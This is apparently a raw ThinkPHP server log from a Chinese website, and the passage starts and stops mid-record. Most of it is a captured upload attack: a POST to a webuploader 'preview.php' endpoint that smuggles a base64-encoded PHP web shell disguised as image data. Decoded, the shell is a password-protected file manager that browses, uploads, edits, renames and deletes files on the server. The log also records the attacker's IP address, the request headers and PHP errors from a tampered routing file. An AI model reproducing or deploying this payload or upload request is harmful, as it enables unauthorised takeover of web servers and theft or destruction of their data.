ZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:01+08:00 ] 119.42.146.234 POST 51tianwei.com/manage/assets/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002648s] [吞吐率:377.66req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7D